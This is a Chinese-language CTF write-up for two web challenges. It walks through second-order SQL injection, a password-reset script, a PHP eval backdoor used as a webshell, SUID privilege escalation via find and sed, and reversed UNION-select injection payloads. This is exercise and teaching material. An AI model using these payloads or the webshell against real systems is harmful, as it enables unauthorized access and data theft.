[湖湘杯 2021 final]Penetratable
SUID提权
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限
SUID具有一定的限制:
1.仅对于二进制有效;
2.执行者在程序中有可以执行的权限;
3.权限仅在程序运行的过程中有效
利用的步骤:
先查找具有SUID权限的用户,再通过具有权限的用户去执行命令
打开题目,发现存在登录和注册的框,第一反应是可能存在注入,但是不着急,先正常的注册一个账号登录看看(查看源代码发现,进入到root,进行filename的传参就是我们的目的)
function userUpdateInfo(){
let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({
url: '/?c=user&m=updateUserInfo',
type: 'post',
data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// async:true,
dataType: 'text',
success: function(data){
alertHandle(data);
}
});
}
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
function downloadLog(filename){
location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}
为什么要注册admin呢?因为想要通过注册登录看看能不能得到信息,所以用管理员试试,但是admin已经存在了
利用二次注入的方法来注册账号,登录admin账号(我认为在这里只是通过转义来使得我们的账户为admin)
二次注入:
攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
也就是说,当恶意的语句输入时被转义了,但是在执行时又还原为恶意语句在SQL中执行
附上一张大佬的原理图
尝试寻找闭合,双引号闭合,成功注册
登录之后因为 转义的原因,用户名变成了admin
既然用户名是admin,admin是我们需要登录的账户可是原密码我们不知道,所以需要修改密码,在req.js页面可以看见关于修改密码的function
目前我们是user权限,也是可以修改密码的,修改密码,修改完成后,登录admin
admin的权限提高了,可以查看用户信息了,但是没有更多的有用信息,想到需要利用filename传参,而name在root的url下,尝试更高权限的root
果然root也是存在的,采用同样的二次注入来登录修改密码
修改密码的时候提示没有权限
在function里面还有在admin下修改密码的方法,提高权限
通过脚本来更改密码
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28947/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28947?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
"newPass":pass2,
"oldPass":password,
"saying":"TIz"})
print(res2.text)
或者通过抓包来修改;先登录admin抓取get传参的爆后改为POST传参(无论原始密码对错都可以修改)
登录root账户,发现存在日志
抓取download的包, 尝试目录遍历
用dirsearch扫描发现phpinfo,访问看看
有一个if语句,大致意思为:传入的参数强等于md5值,就执行cc中的命令
<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>
md5原值为1q2w3e,这里要注意如果打算利用php一句话木马的话,需要post传参,所以cc后面要接一个post传参
http://node4.anna.nssctf.cn:28947/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);
蚁剑连接成功,进入终端
想要直接来cat,但是被禁止了,说明权限不够
那么就要提权来读取,先查找具有SUID权限的二进制文件
find / -user root -perm -4000 -print 2>/dev/null
发现sed,利用sed来执行命令
sed指令
[UUCTF 2022 新生赛]ezsql
进入靶场,看见登录框,尝试SQL注入
存在sql注入,应该是两个地方都存在注入点,那么进行闭合
很奇怪注释符跑前面去了,用一个字符串试试
哦,是倒序了,用脚本把sql语句进行倒序排列
import base64
strA = input()
strB = strA[::-1]
print(strB)
爆字段数没有回显,看了wp发现or被过滤了,那么可以用group by来爆,也可以用union select来尝试(这里是两列)
#2,1 tceles noinu )'1-
爆库名(这里如果是在usename进行的注入,就把回显位放在1上)
#2,)(esabatad tceles noinu )'1-
爆表
#'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1-
爆字段
#'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1-
查询字段内容
#galf moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1-